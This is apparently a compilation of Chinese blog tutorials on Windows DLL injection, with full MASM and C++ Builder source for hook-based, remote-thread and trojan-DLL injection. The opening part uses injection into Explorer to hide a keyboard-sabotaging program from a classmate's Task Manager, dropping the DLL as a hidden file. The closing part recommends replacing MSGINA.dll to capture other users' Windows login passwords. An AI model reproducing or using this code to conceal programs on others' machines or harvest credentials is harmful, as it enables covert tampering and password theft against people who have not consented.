上次那个改变键盘布局 的程序,被同学很容易的就在任务管理器里找出来杀掉了,不爽!想个办法把它藏起来。
google了一下,发现隐藏进程的方法有很 多。可以用rundll,但那样任务管理器里还是会多出个进程,引起怀疑。还可以写注册表里AppInit_Dlls一项,但我试了一下,结果一改就开不 了机,可能是我的dll没写好吧。再有就是注入了,代码注入很隐蔽,但还要遇到代码定位,API定位等问题,麻烦,还是dll注入好了。决定了,说干就 干!
先把原来的那个程序稍做修改,然后build成dll。即加一个DllEntry就行了。
DllEntry proc hInst: HINSTANCE, reason: DWORD, reserved1: DWORD
LOCAL @dwThreadID
.IF reason == DLL_PROCESS_ATTACH
push hInst
pop inst
invoke CreateThread, NULL, 0, addr WinMain, NULL, NULL, addr @dwThreadID
invoke CloseHandle, eax
.ENDIF
mov eax, TRUE
ret
DllEntry endp
然后
ml /c /coff /Cp test.asm
link /DLL /SUBSYSTEM:WINDOWS test.obj
这样我 就有了一个test.dll,把它注入到别的进程里就行啦。为了做成一个程序,我把这个dll作为资源放到另一个程序里,在用到的时候把它释放出来。编辑 test.rc,写入一行:
1000 RCDATA hookx.dll
然后rc test.rc就得到了test.res,一会儿link的时候用。
下面就是写主程序了。程序中首先找到资源,把它释放到windows的 temp文件夹下,并指定隐藏属性(为了隐蔽嘛)。然后就是FindWindow,找到资源管理器(找它是因为几乎所有系统中都会开这个进程嘛),打开, 申请空间,写入LoadLibraryA的地址,CreateRemoteThread建立远程线程就OK了。
这里有一点要注意的就是,建 立了远程线程之后要让该线程马上返回,否则被注入的程序就会一直等待,这也就是为什么我在DllEntry中又用了一个CreateThread的原因。
下 面就是源程序了,就是连续调用一堆函数,也没注释,没做返回值的检查,崩溃了就不管喽!
.386
.model flat, stdcall
option casemap: none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
rcID equ 1000
.const
szKerdll db ‘kernel32.dll’, 0
szHookxdll db ‘hookx.dll’, 0
szDesktopClass db ‘Progman’, 0
szDesktopWindow db ‘Program Manager’, 0
szLoadlib db ‘LoadLibraryA’, 0
.data
szBuf db 256 dup(0)
szTempPath db 256 dup(0)
szFmt db ‘%s%s’, 0
.data?
hInstance dd ?
hResInfo dd ?
hResData dd ?
lpResData dd ?
dwResDataLen dd ?
hHookxdll dd ?
dwWrote dd ?
dwProcessID dd ?
hProcess dd ?
lpCodeRemote dd ?
.code
start:
invoke GetModuleHandle, NULL
mov hInstance, eax
invoke FindResource, hInstance, rcID, RT_RCDATA
mov hResInfo, eax
invoke LoadResource, hInstance, hResInfo
mov hResData, eax
invoke LockResource, hResData
mov lpResData, eax
invoke SizeofResource, hInstance, hResInfo
mov dwResDataLen, eax
invoke GetTempPath, SIZEOF szTempPath, OFFSET szTempPath
invoke wsprintf, OFFSET szBuf, OFFSET szFmt, OFFSET szTempPath, OFFSET szHookxdll
invoke CreateFile, OFFSET szBuf, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL or FILE_ATTRIBUTE_HIDDEN, 0
mov hHookxdll, eax
invoke WriteFile, hHookxdll, lpResData, dwResDataLen, OFFSET dwWrote, NULL
invoke FindWindow, OFFSET szDesktopClass, OFFSET szDesktopWindow
invoke GetWindowThreadProcessId, eax, OFFSET dwProcessID
invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dwProcessID
mov hProcess, eax
invoke VirtualAllocEx, hProcess, 0, SIZEOF szBuf, MEM_COMMIT, PAGE_EXECUTE_READWRITE
mov lpCodeRemote, eax
invoke WriteProcessMemory, hProcess, lpCodeRemote, OFFSET szBuf, SIZEOF szBuf, NULL
invoke LoadLibrary, OFFSET szKerdll
invoke GetProcAddress, eax, OFFSET szLoadlib
invoke CreateRemoteThread, hProcess, 0, 0, eax, lpCodeRemote, 0, 0
invoke CloseHandle, eax
invoke CloseHandle, hProcess
invoke ExitProcess, 0
end start
好了,编译连接一下,这回再运行,按alt+ctrl+del看一下,哈哈,没有任何迹象,成功!这回他该纳闷了,我的键盘怎么 又不好使了??
程序说明:找到计算器进程把c盘下的modll.dll注入.
DLL编绎参数: ml /c /coff modll.asm
link /dll /subsystem:windows /def:modll.def modll.obj
def 文件:只有一行(无导出函数哈):LIBRARY modll.dll
dll的作用:显示被注入进程的PID号.
masm6.11+win2k pro调试通过.
程序下载:http://www.cnwill.com/soft/czy/modll.dll
http://www.cnwill.com/soft/czy/mo.exe
如 果是代码注入:作用弹一个msgbox出来
———————————rthread.asm——————
.386
.model flat,stdcall
option casemap:none
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/windows.inc
.data
hello db ‘2K下建远程线程’,0
tit db ‘计算器’,0
szFormat db ‘PID是:%d’,0
szBuffer dd 20 dup(0),0
pid dd 0
hProcess dd 0
hThread dd 0
pCodeRemote dd 0
dllname db ‘c:\modll.dll’,0
.const
szmsg db ‘MessageBoxA’,0
userdll db ‘User32.dll’,0
szloadlib db ‘LoadLibraryA’,0 ;注意和LoadLibraryW的区别哟
kerdll db ‘kernel32.dll’,0
.code
codebegin:
dispdata db “iam remote thread”,0
szTit db “nsfocus.czy”,0
datalen =$-codebegin
Rproc proc msgbox ;MessageBoxA的地址为参数
CALL @F ;push esi
@@:
POP EBX
SUB EBX,OFFSET @B
LEA ECX,[EBX+dispdata]
LEA EDX,[EBX+szTit]
push 1
push edx
push ecx
push 0
call msgbox
ret ;重要
Rproc endp
codelen =$-codebegin ;代码长度13字节
start:
invoke FindWindow,0,offset tit ;返回计算器窗口句柄
invoke GetWindowThreadProcessId,eax,offset pid ;计算机器程序的进程PID号
;invoke wsprintf,offset szBuffer,offset szFormat,pid ;把PID用十进制显示
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,pid ;打开进程,得到进程句柄
mov hProcess,eax ;保存进程句柄
;——————————————- 下面是把程序代码注入
;invoke VirtualAllocEx,hProcess,0, codelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE
;mov pCodeRemote,eax
;invoke WriteProcessMemory,hProcess,pCodeRemote,offset codebegin,codelen,NULL
;mov esi,pCodeRemote
;add esi,datalen
;push esi
;invoke LoadLibrary,offset userdll
;invoke GetProcAddress,eax,offset szmsg
;pop esi
;invoke CreateRemoteThread,hProcess,0,0,esi,eax,0,0
;——————————————– 下面是DLL注入
invoke VirtualAllocEx,hProcess,0, sizeof dllname, MEM_COMMIT, PAGE_EXECUTE_READWRITE
mov pCodeRemote,eax
invoke WriteProcessMemory,hProcess,pCodeRemote,offset dllname,sizeof dllname,NULL
invoke LoadLibrary,offset kerdll
invoke GetProcAddress,eax,offset szloadlib
invoke CreateRemoteThread,hProcess,0,0,
eax, ;这个参数在代码注入中为代码起始地址,现在成了LoadLibraryA的起始地址了
pCodeRemote, ;要加载的DLL的名字
0,0
;——————————————– 没有用FreeLibrary所以只能加载一次
mov hThread,eax ; 返回线程句柄
.if hThread
invoke WaitForSingleObject,hThread, INFINITE ;等待线程结束
invoke CloseHandle,hThread ;关闭线程句柄
.endif
invoke VirtualFreeEx,hProcess,pCodeRemote,codelen,MEM_RELEASE ;释放空间
invoke CloseHandle,hProcess ;关闭进程句柄
;invoke MessageBoxA,0,offset szBuffer,offset szBuffer,1
invoke ExitProcess,0
end start
———————————-end———————
———————-modll.asm——————–
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
.data
pid dd 0
szFormat db ‘PID是:%d’,0
szBuffer dd 20 dup(0),0
tit db ‘显示被注入进程的PID’,0
.code
DllEntry proc hInstDLL:HINSTANCE, reason:DWORD, reserved1:DWORD
.if reason==DLL_PROCESS_ATTACH ;dll加载时
invoke GetCurrentProcessId
mov pid,eax
invoke wsprintf,offset szBuffer,offset szFormat,pid
invoke MessageBoxA,0,offset szBuffer,offset tit,0
.endif
mov eax,TRUE
ret
DllEntry Endp
End DllEntry
———————-end————————–
作者:陶冶(无邪)
MAIL:taoy5178@hotmail.com
OICQ:24149877
在WINDOWS中,每个进程都有自己独立的地址空间,这样一个应用程序就无法进入另一个进程的地址空间而不会破坏另一个 进程的运行,这样使得系统更加的稳定。但这样一来,相反的,如果我们要对我们感兴趣的进程进行操作也就变得复杂起来。比如,我们要为另一个进程创建的窗口 建立子类或是要想从其中一个感兴趣的进程中取得一些有趣的信息(比如你想得到WIN2000用户登录的密码)。而DLL注入技术就是正好可以解决这些问 题。DLL注入就是将DLL插入到其它你指定的进程的地址空间中,使得我们可以对感兴趣的进程进行操作。
在我们的 DLL注入到指定的进程空间时,为了可以使我们更清楚地看到它已经成功对注入到了指定的进程空间,所以我们有需要使用一个简单的工具来查看指定的进程空间 中所载入的所有模块,以便确定我们的DLL是否已经成功注入。如果你系统中装有WINDOWS优化大师,那么你可以利用它提供的进程工具来查看,没有也没 关系,我用BCB写了一个小工具,虽然不怎么方便,但也可以清楚地看到指定进程空间中的所有载入模块。
该工具的主要代码如下:
//—————————————————————————
void __fastcall TfrmMain::btLookClick(TObject *Sender)
{
DWORD dwProcessId;
BOOL bRet;
MODULEENTRY32 hMod = {sizeof(hMod)};
HANDLE hthSnapshot = NULL;
BOOL bMoreMods = FALSE;
ListView->Clear();
if (Edit->Text == “”)
return;
else
dwProcessId = StrToInt(Edit->Text);
// 为进程建立一个快照
hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,
dwProcessId);
if (hthSnapshot == NULL)
{
MessageBox(Handle,(“CreateToolhelp32Snapshot failed with error ”
+ IntToStr(GetLastError())).c_str(),”Error!”,
MB_ICONINFORMATION + MB_OK);
return;
}
// 获取模块列表中的模块
bMoreMods = Module32First(hthSnapshot, &hMod);
if (bMoreMods == FALSE)
{
MessageBox(Handle,(“Module32First failed with error ”
+ IntToStr(GetLastError())).c_str(),”Error!”,
MB_ICONINFORMATION + MB_OK);
return;
}
for (; bMoreMods; bMoreMods = Module32Next(hthSnapshot, &hMod))
{
TListItem *Item;
Item = ListView->Items->Add();
Item->Caption = String(hMod.szExePath);
Item->ImageIndex = 0;
}
// 关闭句柄
CloseHandle(hthSnapshot);
}
接下来就 开始我们的正题吧。
DLL注入主要有三种方法,即应用HOOK技术、创建远程线程和特洛伊DLL三种。
一、应用HOOK技术进行DLL注入
我原来写过有关HOOK的介绍,如果你看过了或者是以前写过HOOK程序,那么你已经会这种 DLL注入了。它其它就是为系统或某个线程安装一个钩子。这里要说的是,如果是全局钩子,那么你的DLL将会在进程调用时载入到任意一个调用的进程的地址 空间中,这样是相当浪费资源的。因此我在下载的演示中就只对某一个指定的线程安装线程钩子。
1、用BCB建立一个DLL工程(如果 你用的是VC或其它,请自己对照),输入以下代码:
//========================================================
// 文件: UnitLib.cpp
// 说明: 演示利用钩子技术进行DLL注入.
// 将本DLL中的代码注入到指定的进程空间.
// 作者: 陶冶(无邪)
//========================================================
// 函数声明
extern “C” __declspec(dllexport) __stdcall
bool SetHook(DWORD dwThreadId);
extern “C” __declspec(dllexport) __stdcall
LRESULT CALLBACK MyProc(int nCode, WPARAM wParam, LPARAM lParam);
static HHOOK hHook = NULL; // 钩子句柄
static HINSTANCE hInst; // 当前DLL句柄
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
hInst = hinst;
return 1;
}
//—————————————————————————
// 安装钩子函数
bool __declspec(dllexport) __stdcall SetHook(DWORD dwThreadId)
{
if (dwThreadId != 0)
{
MessageBox(NULL, (“DLL已经注入!\nThreadId = ” +
IntToStr(dwThreadId)).c_str(),”DLL”,
MB_ICONINFORMATION + MB_OK);
// 安装指定线程的钩子
hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)MyProc,
hInst,dwThreadId);
if (hHook != NULL)
return true;
}else
{
MessageBox(NULL, “DLL即将从记事本进程空间中撤出!”,”DLL”,
MB_ICONINFORMATION + MB_OK);
return (UnhookWindowsHookEx(hHook));
}
return true;
}
// 钩子函数
LRESULT CALLBACK __declspec(dllexport) __stdcall
MyProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 因为只是演示DLL注入,所以这里什么也不做,交给系统处理
return (CallNextHookEx(hHook, nCode, wParam, lParam));
}
//—————————————————————————
该DLL中有两个函数,一个为安装钩子函数(SetHook),另一个为钩子函数(MyProc)。其中安装钩子函数 提供了一个参数,由该参数指定安装到哪个线程,如果该参数为0,则卸载钩子。
编译该工程,即生成我们要用来注入到指定进程中的 DLL文件了。
2、建立测试工程。用BCB建立一个应用程序工程,在窗体中添加两个按钮,一个用来安装线程 钩子,一个用来卸载。代码如下:
//—————————————————————————
// SetHook函数原型声明
typedef BOOL (WINAPI *LPSETHOOK)(unsigned long dwThreadId);
//—————————————————————————
__fastcall TfrmMain::TfrmMain(TComponent* Owner)
: TForm(Owner)
{
}
//—————————————————————————
// 安装钩子
void __fastcall TfrmMain::Button1Click(TObject *Sender)
{
String szPath;
LPSETHOOK lproc;
HANDLE hDll;
BOOL bRet;
PROCESS_INFORMATION info;
STARTUPINFO start;
memset(&start, 0, sizeof(start));
// 取得要载入的DLL文件名
szPath = Application->ExeName;
szPath = szPath.SubString(0, szPath.Length()
- String(StrRScan(szPath.c_str(),’\\’)).Length());
szPath = szPath + “\\DllLib.dll”;
// 载入DLL
hDll = LoadLibrary(szPath.c_str());
if (hDll != NULL)
{
lproc = (LPSETHOOK)GetProcAddress(hDll,”SetHook”);
if (lproc != NULL)
{
// 因为没有适当的工具可以取得线程ID,也为了简单起见,所以这里新创建了一个记事本进程,以便取得它的线程ID,对其安装钩子,把我们的DLL注入到记事 本进程中。
bRet = CreateProcess(NULL,
“c:\\winnt\\system32\\notepad.exe”,
NULL,
NULL,
TRUE,
0,
NULL,
NULL,
&start,
&info);
if (bRet != 0)
{
if((*lproc)(info.dwThreadId) == false)
ShowMessage(“Sethook failed with error ” +
IntToStr(GetLastError()));
}
else
{
ShowMessage(“CreateProcess failed with error ” +
IntToStr(GetLastError()));
}
}
}
}
//—————————————————————————
// 卸载钩子
void __fastcall TfrmMain::Button2Click(TObject *Sender)
{
String szPath;
LPSETHOOK lproc;
HANDLE hDll;
szPath = Application->ExeName;
szPath = szPath.SubString(0, szPath.Length()
- String(StrRScan(szPath.c_str(),’\\’)).Length());
szPath = szPath + “\\DllLib.dll”;
hDll = LoadLibrary(szPath.c_str());
if (hDll != NULL)
{
lproc = (LPSETHOOK)GetProcAddress(hDll,”SetHook”);
if (lproc != NULL)
(*lproc)(0);
}
}
//—————————————————————————
接下来生成可执行文件,点击第一个安装钩子按钮,然后你就可以用我们最开始写的查看模块的工具来查看了,你将会在模块中看到你刚才 DLL的路径及文件名,这表明我们已经成功地将自己的DLL注入到了记事本进程空间。点击卸载按钮后,再查看记事本进程中的模块,将不会看到我们DLL文 件的完整文件名,这表明已经成功撤消了对记事本进程的注入。
二、利用远程线程来进行DLL注入
这种方法同前一种方法相比,要显得复杂一些,并且这种方法只能在WIN2000中使用(XP,和最新的2003不知道)。具体步骤如下:
1)、取得远程进程的进程ID;
2)、在远程进程空间中分配一段内存用来存放要注入的DLL完整路径;
3)、将要注入的DLL的路径写到刚才分配的远程进程空间;
4)、从Kernel32.dll中取得LoadLibray的地址;
5)、调用CreateRemoteThread函数以从Kernel32.dll中取得的LoadLibrary函数的地址为线 程函数的地址,以我们要注入的DLL文件名为参数,创建远程线程;
在第二三步中,为什么要把我们要注入的DLL的文件名写到远程进 程的地址空间进行操作,《WINDOWS核心编程》中是这样描述的:
“(要注入的DLL文件名)字符串是在调用进程的地址空间中。该字 符串的地址已经被赋予新创建的远程线程,该线程将它传递给L o a d L i b r a r y A。但是,当L o a d L i b r a r y A取消对内存地址的引用时, D L L路径名字符串将不再存在,远程进程的线程就可能引发访问违规”;
至于第四步中为什么不直接对LoadLibrary进行调用,《WINDOWS核心编程》中是这样描述的:
“如果在对C r e a t e R e m o t e T h r e a d的调用中使用一个对L o a d L i b r a r y A的直接引用,这将在你的模块的输入节中转换成L o a d L i b r a r y A的形实替换程序的地址。将形实替换程序的地址作为远程线程的起始地址来传递,会导致远程线程开始执行一些令人莫名其妙的东西。其结果很可能造成访问违 规。”
好了,下面开始我们的例子。
1、同上面应用HOOK来进行DLL注入一样,我们先创建一 个DLL工程,这个DLL完全可以不编写任何代码,因为我们只想将DLL注入到指定进程就达到目的了,但为了好看,我还是随便在其中写一个API函数。代 码如下:
extern “C” __declspec(dllexport) __stdcall void About();
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
return 1;
}
//—————————————————————————
void __declspec(dllexport) __stdcall About()
{
MessageBox(NULL,” 这个DLL模块演示了DLL的注入技术。\n”
“通过程序的调用LoadLibrary将本模块注入到指定的”
“进 程的地址空间中。”, “DLL注入技术”,
MB_ICONINFORMATION + MB_OK);
}
编译它,就得到我们用来注入的DLL文件了。接下来是测试工程。
2、编写测试工程。用BCB建立一个应用程序工程,在窗体中放入 两个按钮,一个用来注入,一个用来撤消,另外还有一个文本框控件,用来等待用户输入进程ID号。代码如下:
//—————————————————————————
// DLL注入函数
BOOL WINAPI LoadLib(DWORD dwProcessId, LPWSTR lpszLibName)
{
HANDLE hProcess = NULL,
hThread = NULL;
LPWSTR lpszRemoteFile = NULL;
// 打开远程进程
hProcess = OpenProcess(PROCESS_CREATE_THREAD
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE,
FALSE,
dwProcessId);
if (hProcess == NULL)
{
MessageBox(NULL, (“OpenProcess failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 在远程进程中分配存贮DLL文件名的空间
lpszRemoteFile = (LPWSTR)VirtualAllocEx(hProcess, NULL,
sizeof(WCHAR) * lstrlenW(lpszLibName) + 1,
MEM_COMMIT, PAGE_READWRITE);
if (lpszRemoteFile == NULL)
{
MessageBox(NULL, (“VirtualAllocEx failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 复制DLL文件名到远程刚分配的进程空间
if (!WriteProcessMemory(hProcess, lpszRemoteFile,
(PVOID)lpszLibName, sizeof(WCHAR) * lstrlenW(lpszLibName) + 1,
NULL))
{
MessageBox(NULL, (“WriteProcessMemory failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 取得LoadLibrary函数在Kennel32.dll中的地址
PTHREAD_START_ROUTINE pfnThreadRtn =
(PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle(“Kernel32.dll”),”LoadLibraryW”);
if (pfnThreadRtn == NULL)
{
MessageBox(NULL, (“GetProcAddress failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 创建远程线程
hThread = CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn, // LoadLibrary地址
lpszRemoteFile, // 要加载的DLL名
0,
NULL);
if (hThread == NULL)
{
MessageBox(NULL, (“CreateRemoteThread failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 等待线程返回
WaitForSingleObject(hThread, INFINITE);
// 释放进程空间中的内存
VirtualFreeEx(hProcess, lpszRemoteFile, 0, MEM_RELEASE);
// 关闭句柄
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
// 在进程空间释放注入的DLL
BOOL WINAPI FreeLib(DWORD dwProcessId, LPTSTR lpszLibName)
{
HANDLE hProcess = NULL,
hThread = NULL,
hthSnapshot = NULL;
MODULEENTRY32 hMod = {sizeof(hMod)};
BOOL bFound;
// 取得指定进程的所有模块映象
hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,
dwProcessId);
if (hthSnapshot == NULL)
{
MessageBox(NULL, (“CreateRemoteThread failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 取得所有模块列表中的指定的模块
BOOL bMoreMods = Module32First(hthSnapshot, &hMod);
if (bMoreMods == FALSE)
{
MessageBox(NULL, (“Module32First failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 循环取得想要的模块
for (;bMoreMods; bMoreMods = Module32Next(hthSnapshot, &hMod))
{
//ShowMessage(String(hMod.szExePath) + ” | ” + String(lpszLibName));
if ((strcmp(hMod.szExePath, lpszLibName) == 0) ||
(strcmp(hMod.szModule, lpszLibName) == 0))
break;
}
// 打开进程
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION,
FALSE, dwProcessId);
if (hProcess == NULL)
{
MessageBox(NULL, (“OpenProcess failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 取得FreeLibrary函数在Kernel32.dll中的地址
PTHREAD_START_ROUTINE pfnThreadRtn =
(PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle(“Kernel32.dll”), “FreeLibrary”);
if (pfnThreadRtn == NULL)
{
MessageBox(NULL, (“GetProcAddress failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 创建远程线程来执行FreeLibrary函数
hThread = CreateRemoteThread(hProcess,
NULL,
0,
pfnThreadRtn,
hMod.modBaseAddr,
0,
NULL);
if (hThread == NULL)
{
MessageBox(NULL, (“CreateRemoteThread failed with error ”
+ IntToStr(GetLastError())).c_str(), “Error”,
MB_ICONINFORMATION + MB_OK);
return FALSE;
}
// 等待线程返回
WaitForSingleObject(hThread, INFINITE);
// 关闭句柄
CloseHandle(hThread);
CloseHandle(hthSnapshot);
CloseHandle(hProcess);
return TRUE;
}
//—————————————————————————
void __fastcall TfrmMain::btLoadClick(TObject *Sender)
{
m_szDllFile = Application->ExeName;
m_szDllFile = m_szDllFile.SubString(0, m_szDllFile.Length()
- String(StrRScan(m_szDllFile.c_str(),’\\’)).Length());
m_szDllFile = m_szDllFile + “\\DllLib.dll”;
m_dwProcessId = StrToInt(Edit->Text);
LoadLib(m_dwProcessId, WideString(m_szDllFile).c_bstr());
}
//—————————————————————————
void __fastcall TfrmMain::btUnloadClick(TObject *Sender)
{
FreeLib(m_dwProcessId, m_szDllFile.c_str());
}
//—————————————————————————
好了,把上面的工程编译成生EXE文件,接下来我们就可以进行DLL的注入测试了。先打开记事本(当然你也可以打开其它的进程,或直接 在已经加载的进程测试),通过WINDOWS的任务管理器,找到它的进程ID。然后运行我们的测试工程,在文本框中输入进程ID,点击注入。这时我们就可 以通过我们最先写的小工具来查看它的进程空间中所包含的模块了,你会发现,我们的DLL已经成功加载到了它的进程空间中。点击卸载,取消DLL的注入。
三、 利用特洛伊DLL进行注入
这种方法的原理就是由自己写一个与原有进程调用的DLL具有相同接口函数的DLL,再用我们的DLL替换原有 的DLL。在替换的过程中,由我们自己编写感兴趣的函数替换原有函数,而对其它不感兴趣的函数,则以函数转发的形式调用原有DLL中的函数。这里面有个前 提,就是你在编写DLL时你必须知道原有DLL 中的函数都有哪些,以免导至其它进程调用DLL时找不到相应的API函数,特别是在替换系统DLL文件时更要小心。
下面就来演示一下这 种方式。我是这样做的,首先写一个DLL作为被替换的DLL,名为DllLib.dll(最后更名为_DllLib.dll),然后写特洛伊DLL,名为 TroyDll.Dll(最后更名为原有DLL名,即DllLib.dll),与DllLib.Dll具有相同的API函数过程,但是对其中的一个 API函数做更改,使其完成我们的工作,因为另外还有一个API函数需要对其进行函数转发,转给原来的DLL,即(更名为_DllLib.dll的 DllLib.dll)。这时我们的测试程序本来是调用的DllLib.dll的,但由于DllLib.dll已经被TroyDll.dll替换了,所以 测试程序实际上调用的是TroyDll.dll,而对于做转发的函数,则是通过TroyDll.Dll调用DllLib.dll(更名后的 _DllLib.dll)完成的。此时我们的特洛伊DLL实际上已经注入到我们的测试程序的进程空间中来了。
1、编写 本来的DLL。DllLib.dll(更名后为_DllLib.dll)的代码如下:
//========================================================
// 文件: UnitLib.cpp
// 说明: 演示用特洛伊DLL进行DLL注入.这个是本身的DLL,另一个特洛伊DLL将
// 对它进行函数转发,并实现另外的功能.
// 作者: 陶冶(无邪)
//========================================================
// 函数声明
extern “C” __declspec(dllexport) __stdcall void About();
extern “C” __declspec(dllexport) __stdcall int Add(int a, int b);
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
return 1;
}
//—————————————————————————
void __declspec(dllexport) __stdcall About()
{
try
{
MessageBox(NULL,”这是本来的DLL文件!”,”原来的DLL”,
MB_ICONINFORMATION + MB_OK);
}catch(Exception &e)
{
MessageBox(NULL,e.Message.c_str(),”DllLib”,MB_OK);
}
}
// 两数相加(注意:这里是两数相加)
int __declspec(dllexport) __stdcall Add(int a, int b)
{
return (a + b);
}
2、编写特洛伊DLL。TroyDll.dll的代码如下:
//=======================================================
// 文件: UnitTroy.cpp
// 说明: 这个是特洛伊DLL,呆会将它的DLL文件更改为要替换的DLL文件名
// 作者: 陶冶
//=======================================================
extern “C” __declspec(dllexport) __stdcall void About();
extern “C” __declspec(dllexport) __stdcall int Add(int a, int b);
int Multiply(int a, int b);
// DLL中的函数原形声明
typedef void (WINAPI *ABOUT)();
typedef int (WINAPI *ADD)(int a, int b);
static String szDllName;
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
szDllName = Application->ExeName;
szDllName = szDllName.SubString(0,szDllName.Length()
- String(StrRScan(szDllName.c_str(),’\\’)).Length());
// 更名后的DllLib.dll文件名
szDllName = szDllName + “\\_DllLib.dll”;
return 1;
}
//—————————————————————————
void __declspec(dllexport) __stdcall About()
{
// 直接做函数转发
HANDLE hDll = NULL;
hDll = LoadLibrary(szDllName.c_str());
ABOUT about;
try
{
if (hDll != NULL)
{
about = (ABOUT)GetProcAddress(hDll,”About”);
if (about != NULL)
about();
}
else
MessageBox(NULL,”载入原来的DLL错误!”, “特洛伊DLL”,
MB_ICONINFORMATION + MB_OK);
}catch(Exception &e)
{
MessageBox(NULL,e.Message.c_str(),”DllTroy”,MB_OK);
}
}
int __declspec(dllexport) __stdcall Add(int a, int b)
{
int nRet;
HANDLE hDll = NULL;
ADD add;
hDll = LoadLibrary(szDllName.c_str());
if (hDll != NULL)
{
// 为了方便演示,这里再做一次函数转发,以便看到本来应该返回的值。
add = (ADD)GetProcAddress(hDll,”Add”);
if (add != NULL)
nRet = add(a, b);
ShowMessage(“这是本来DLL中的调用结果:” + IntToStr(nRet));
}
else
MessageBox(NULL, “载入本来的DLL错误!”, “特洛伊DLL”, MB_OK);
// 将原来完成两数相加的更改为两数相乘,返回两数的积。
nRet = Multiply(a, b);
return nRet;
}
int Multiply(int a, int b)
{
return (a * b);
}
3、编写测试工程。在窗体中添加两个按钮,分别调用DllLib.dll中的 两个API函数。代码如下:
typedef (WINAPI *ABOUT)();
typedef int (WINAPI *ADD)(int a, int b);
//—————————————————————————
__fastcall TfrmMain::TfrmMain(TComponent* Owner)
: TForm(Owner)
{
}
//—————————————————————————
void __fastcall TfrmMain::FormCreate(TObject *Sender)
{
m_szDllName = Application->ExeName;
m_szDllName = m_szDllName.SubString(0,m_szDllName.Length()
- String(StrRScan(m_szDllName.c_str(),’\\’)).Length());
m_szDllName = m_szDllName + “\\DllLib.dll”;
}
//—————————————————————————
// 调用About()函数
void __fastcall TfrmMain::Button1Click(TObject *Sender)
{
HANDLE hDll;
ABOUT about;
try
{
hDll = LoadLibrary(m_szDllName.c_str());
if (hDll != NULL)
{
about = (ABOUT)GetProcAddress(hDll,”About”);
if (about != NULL)
about();
}
}catch(Exception &e)
{
MessageBox(Handle, e.Message.c_str(), “ERROR”,MB_OK);
}
}
//—————————————————————————
// 调用Add()函数
void __fastcall TfrmMain::Button2Click(TObject *Sender)
{
HANDLE hDll;
ADD add;
int nRet;
hDll = LoadLibrary(m_szDllName.c_str());
if (hDll != NULL)
{
add = (ADD)GetProcAddress(hDll,”Add”);
if (add != NULL)
nRet = add(10, 2);
ShowMessage(“从特洛伊DLL中返回的结果 : ” + IntToStr(nRet));
}
}
4、测试。将DllLib.dll更名为_DllLib.dll,将 TroyDll.dll更名为DllLib.dll,即完成了DLL的替换。下面运行我们的测试工程,单击调用About()函数的按钮,因为 About()是通过DllLib.dll(即TroyDll.dll)做的函数转发(转以给原 DLL,即_DllLib.dll),所以看到的是原DLL(即_DllLib.dll)中弹出的信息框。此时用查看进程模块的工具来查看进程空间,你会 发现,你的特洛伊DLL(更名后的DllLib.dll)已经成功以注入到了测试程序的进程空间中了。
单击调用Add()函数的按钮, 你会看到本来是完成两数相加的,返回的结果却是两数的积,因为我们已经在特洛伊DLL中对它做了手脚。这下是利用它的关键了。WINDOWS登录时的 GINA,知道吧,想得到别人登录的密码吗?那么就是用这种方法了,把MSGINA.dll这个东西给它替换成自己的DLL,再复杂的密码也照样得到啊, 一点也不费精神,呵呵~。(想自己写吗?看看《WinLogon登录管理和GINA简介》吧)
环境:
WIN2000 Server + BCB 6.0
参考:《WINDOWS核心编程》